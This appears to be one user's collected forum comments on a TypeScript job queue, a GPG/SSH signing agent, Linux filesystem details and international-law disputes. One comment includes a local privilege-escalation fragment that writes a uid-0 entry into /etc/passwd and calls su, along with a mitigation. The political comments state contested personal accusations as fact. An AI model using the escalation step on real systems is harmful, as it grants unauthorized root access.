rkeene2

Keeta developer here. I think the way we handle execution of code will be significantly different from Sui, both for stateful and stateless executions.

I'm not sure it can be malware if it's not some kind of -ware; like an SQL injection attack isn't malware even though it's attacking a weakness in the system

I have an implementation I use that has multiple drivers (PostgreSQL, Firestore, SQLite3, just a file, Redis, or an in-memory store) written in TypeScript and it's been working well for my low-scale needs. The interfaces could support interfacing with a dedicated queuing system if you needed to migrate over time.

It supports pipelines, batched pipelines, and basic runners, as well as idempotent keys (including batching them). It also lets you "partition" a queue into multiple sub-queues so that you can easily segregate your jobs within your application without a lot of setup on the outside. For example, you create a root queue talking to PostgreSQL and pass it around to subsystems that then each create their own sub-queue off that to enqueue entries into and their own workers that dequeue them.

It's only used internally right now but I've been thinking about creating a separate package (with documentation) with it for others to use as well. Any feedback or pull requests would be appreciated !

[0] https://github.com/KeetaNetwork/anchor/blob/main/src/lib/que...

[1] https://github.com/KeetaNetwork/anchor/blob/main/src/lib/que...

Make sure you use URL-safe base64 or the portions that looks like a path can get mangled

MII//epi

Is converted to MII/epi

Fair enough -- a simpler change might be to poison /etc/passwd and call `su` to a user that has uid 0, since that requires no shell code nor a readable binary, and this seems to have worked in a slightly modified POC:

  f=g.open("/etc/passwd",0);
  e="rkeene:x:0:0:System administrator:/root:/run/current-system/sw/bin/bash\n".encode()
  ...
  g.system("/run/wrappers/bin/su - rkeene")

My `sudo` is also not readable. Files/directories don't need to be readable to be executed. I can still use `su` and `sudo`.

I couldn't get the POC to work with my version of Python so I had ChatGPT convert it to C [0] and was able to verify my Slackware system does not appear to be affected, but my NixOS system would be if I had any world-readable suid binaries (which I had to make one to test it).

[0] https://rkeene.org/viewer/tmp/copy_fail_exp.c.htm

A workaround might be to make all setuid/setgid files non-world-readable because then they cannot be opened at all, and thus there is no setuid file to replace the contents of.

Interestingly it fails for me because my `su` isn't world-readable:

  $ stat /bin/su
    File: /bin/su
    Size: 59552           Blocks: 118        IO Block: 59904  regular file
  Device: 0,52    Inode: 796854      Links: 1
  Access: (4711/-rws--x--x)  Uid: (    0/    root)   Gid: (    0/    root)
  Access: 2023-09-18 13:23:03.117105665 -0500
  Modify: 2021-02-13 05:15:56.000000000 -0600
  Change: 2023-09-18 13:23:03.119105665 -0500
   Birth: 2023-09-18 13:23:03.117105665 -0500

I'm not sure I have any setuid/setgid binaries that are world-readable...

We created Keeta Agent [0] to do this on macOS more easily (also works with GPG, which is important for things that don't yet support SSH Signatures, like XCode).

Since it just uses PKCS#11, it also works with tpm_pkcs11. Source for the various bits that are bundled is here [1].

Here's an overview of how it works:

1. Application asks to sign with GPG Key "1ABD0F4F95D89E15C2F5364D2B523B4FDC488AC7"

2. GPG looks at its key database and sees GPG Key "1ABD...8AC7" is a smartcard, reaches out to Smartcard Daemon (SCD), launching if needed -- this launches gnupg-pkcs11-scd per configuration

3. gnupg-pkcs11-scd loads the SSH Agent PKCS#11 module into its shared memory and initializes it and asks it to List Objects

4. The SSH Agent PKCS#11 module connects to the SSH Agent socket provided by Keeta Agent and asks it to List Keys

5. Key list is converted from SSH Agent protocol to PKCS#11 response by SSH Agent PKCS#11 module

6. Key list is converted from PKCS#11 response to gnupg-scd response by gnugpg-pkcs11-scd

7. GPG Reads the response and if the key is found, asks the SCD (gnugpg-pkcs11-scd) to Sign a hash of the Material

8. gnupg-pkgcs11-scd asks the PKCS#11 module to sign using the specified object by its Object ID

9. PKCS#11 module sends a message to Secretive over the SSH Agent socket to sign the material using a specific key (identified by its Key ID) using the requested signing algorithm and raw signing (i.e., no hashing)

10. Response makes it back through all those same layers unmodified except for wrapping

(illustrated at [2])

[0] https://github.com/KeetaNetwork/agent

[1] https://github.com/KeetaNetwork/agent/tree/main/Agent/gnupg/...

[2] https://rkeene.org/tmp/pkcs-sign.png

I don't know what you mean regarding pivot_root affecting file descriptors because they are not modified, they point to new names because the enclosing directory has been moved/renamed. There is a small race between moving items in the root directory as well as after moving all items and before starting pivot_root, but that race doesn't involve file descriptors but opening at the old paths before the new one is established, though lots of things use openat() these days so it doesn't really even occur in most cases then.

I usually just move all the files to a new directory (/oldroot) and pivot_root -- any open files reference the new paths. Then install into the newly empty root directory of the filesystem, reboot and delete the /oldroot.

To me, the biggest issue is that it seems to think of computers as something you use while being near and having only one user at a time accessing, where computers you use might be far away and have thousands of people accessing them per day with hundreds of concurrent users and tens of thousands of accounts.

If you don't intentionally allow accounts access to any app stores, do you still need to collect the data ? It says to collect it, and that's the purpose but it doesn't say if you're not permitting that purpose you don't have to collect it

Well, not really because that part doesn't grant the US President arbitrary powers to perform any action that would result in regulation (for example, he is not given the power to go around killing random people even if doing so would effectively regulate international trade; he can't declare war on another country even if doing so would be the best way to effectuate regulation of trade with another country) it gives him the OBLIGATION to perform regulation, using the powers delegated to him.

If giving the US President unlimited and arbitrary authority as long as they can claim it was useful for meeting a legal obligation created by Congress were the correct interpretation then we need look no further than the "Take Care" clause of the US Constitution, where the US President is given the obligation to take care that all laws are faithfully executed -- which, with this interpretation, would mean that any action would be under the purview of the US President as long as they could claim at doing that action resulted in the laws being faithfully executed.

Good news ! It is against the law (i.e., illegal) for a US President to impose tariffs (on a whim or otherwise) -- a US President doing so is doing so illegally and without constitutional authority!

When the US President commits crimes as the US President, he has absolute immunity from prosecution (otherwise, he might not be emboldened to break the law) so there is no judicial recourse, but the US Congress can still see the illegal activity and impeach and remove him from office to stop the execution of illegal activity. As our representatives within the US Government, they are responsible to us to enact our legislative outcomes. It appears they have determined that the illegal activity is what we wanted, or there would be articles of impeachment for these illegal acts.

The legislative branch can of course deliberately impose tariffs at any time for the reasons you listed.

This misses the point that tax exemptions are the way politicians campaign for voter blocks. Having different kinds of taxes makes it easier to target a voter blocks more precisely.

Neat !

Also why num/num32 for Integer types, and no floating point type

It really just requires a network that doesn't use some kind of NAC since you can trivially do ARP poisoning of your target.

If you open a file with LibreOffice will read the whole thing regardless of whether or not the file is on NFS or not.

The parent comment was stating that if you use the open(2) system call on a WebDAV mounted filesystem, which doesn't perform any read operation, the entire file will be downloaded locally before that system call completes. This is not true for NFS which has more granular access patterns using the READ operation (e.g., READ3) and file locking operations.

It may be the case that you're using an application that isn't LibreOffice on files that aren't as small as documents -- for example if you wanted to watch a video via a remote filesystem. If that filesystem is WebDAV (davfs2) then before the first piece of metadata can be displayed the entire file would be downloaded locally, versus if it was NFS each 4KiB (or whatever your block size is) chunk would be fetched independently.

I've had some additional time to reflect on this thread and I think I can spot the core disconnect.

Do you believe that the Vienna Convention requires that countries treat their diplomatic representatives in some special legal way ? For example, do you believe that the Vienna Convention obligates the US to extend diplomatic immunity to the US Ambassador to France ?

If so, that's backwards. It doesn't obligate one country to treat their own diplomats specially inside their own legal system, it defines how participants of the treaty will treat FOREIGN diplomats. The benefit of being part of the treaty is that your diplomats are treated specially when they are in foreign lands, and the cost is you treat foreign diplomats specially when they are in your land.

The currency of treaties is reciprocity.

A treaty can never be binding, there exists no superior entity for which to bring your appeal which can then ultimately use their monopoly on force to extract justice -- each nation is sovereign and a peer in that respect.

Finally, I didn't address your last paragraph but I will now: It does not matter if the USA calls it a law enforcement operation and not invasion, it was still an invasion. It was an invasion because it meets the definition of the word. But ALSO it wasn't a law enforcement operation because the laws of the US do not apply in Venezuela. Also, it's illegal in the US to use the US Military for enforcing US laws except in times of invasion... although it sadly specifies that the US must be the entity being invaded, not just there be an invasion.

So it sounds to me like you are stating that you are okay with the original premise that it would be okay for China to come to the US Whitehouse and forcibly remove Trump to China to stand trial for the crimes he may have committed against Chinese nationals ?

I still do not understand your point because as you state there is no conflict between the two agreements, and further there are no pair countries involved that mutually agreed to the ICC:

- Diplomatic Immunity (through various treaties): Countries that participate will respect diplomats - ICC: Countries that agree will participate in ICC judicial process

From what I can tell, you seem to be under the impression that there's some conflict here. If that is your position then you are wrong. A country can both simultaneously respect foreign diplomats and work with the ICC to ensure that local citizens are held accountable in the ICC.

BUT, a further point -- international law can never be binding. It's between sovereign peers, and is based on the concept of reciprocal benefit. International treaties give the participants some benefit in exchange for something else. This has to be the case because there is no superior entity to arbitrate violations of the law. If you don't keep up your end of the bargain, you risk the other participants not keeping up their end of the bargain.

This is, for example, why having the top US officials committing war crimes is bad -- it's not because some superior nation will inflict justice upon the violator (because no such entity exists) but because other signatories have no legal obligation to not commit war crimes against us (although, many people are morally opposed to most war crimes and wouldn't commit them anyway).

A further note about your PS, which seems unrelated to the topic is that bombing isn't itself an invasion (it may be part of one), but for my opinion I think that killing people without due process is bad and should be a last resort for defense.

I do not understand the point you are making. You cite a treaty that countries explicitly agree to protect diplomats while they are guests in another country -- I'm not sure what relationship this has with one sovereign nation using force to rendition someone from another country.

The only country that has agreed to the terms of the ICC here is Venezuela -- but there is no ICC arrest warrant for anyone involved, nor is the US acting on behalf of the ICC nor does it have any authority to do so.

The invasion (which was required to perform the arrest, since it was within the territory) was definitely an invasion and morally wrong.

As noted several times, there are many ways that this could have been done that are in accordance with civil society it. It wasn't, and that is bad.

You are talking about a after a country has decided that they want to participate in the this process by ratifying their participation intentionally. How does this relate to a unilateral invasion ?

It seems like we should not invade another sovereign country unless we are at war -- a weighty process we should undergo because it's how the will of the people manifest in power.

The US isn't a participant to the ICC, so I'm not sure what exactly your implication is... ?

I do not think we should invade Israel and kidnap their leader. I believe the people of that country should self-govern within their sovereign rights. I don't think China should invade the US and kidnap it's leader. I believe the people of the US should self-govern within their sovereign rights. I don't believe the US should invade Venezuela and kidnap their leader. I believe the people of Venezuela should self-govern within their sovereign rights.

So a thought experiment: If China were to put out a warrant for Trump's (the most unpopular president in US History, someone the majority of Americans disapprove of, a convicted criminal, and a pedophile who raped young people and has not been brought to account for these crimes as of yet) under the pretense that some of his victims were Chinese nationals and then invaded the Whitehouse to forcibly remove him to China, would that also be legal and justified ? What would you expect the reaction in the US to be ?

To be very clear I do not support this -- out leaders should be held to account to their people, not foreign invaders deciding for us. Even if it seems unlikely that they ever will be, it's our process and people.

This argument doesn't really hold water because the jurisdiction of a nation isn't the whole world.

If we have a warrant for a Sovereign or someone else with Diplomatic Immunity we -- at the very least -- should not invade their territory to carry it out. That's not how the civilized society works, and that's not how we want it to work as evidenced by the thought experiment above.

If we are at war with a nation or people, and reject the premise of their fundamental sovereign or diplomatic nature of course it's a different story since we are talking about a fundamental disagreement of reality. There's a separate process for that weighty decision by the US people's representatives.

I did something similar with TCL, the basis was using an extension I wrote to handle the UNIX stuff [0]. It operated an On-Premises cloud environment appliance, and `init` was just a TCL script (at one point it was a statically linked binary with the init script embedded, but that turned out to be overkill)

[0] https://chiselapp.com/user/rkeene/repository/tuapi/doc/trunk...

Fast is cheap, and cheap is good.

See my comment above regarding Keeta Agent, which supports GPG and SSH with the same key.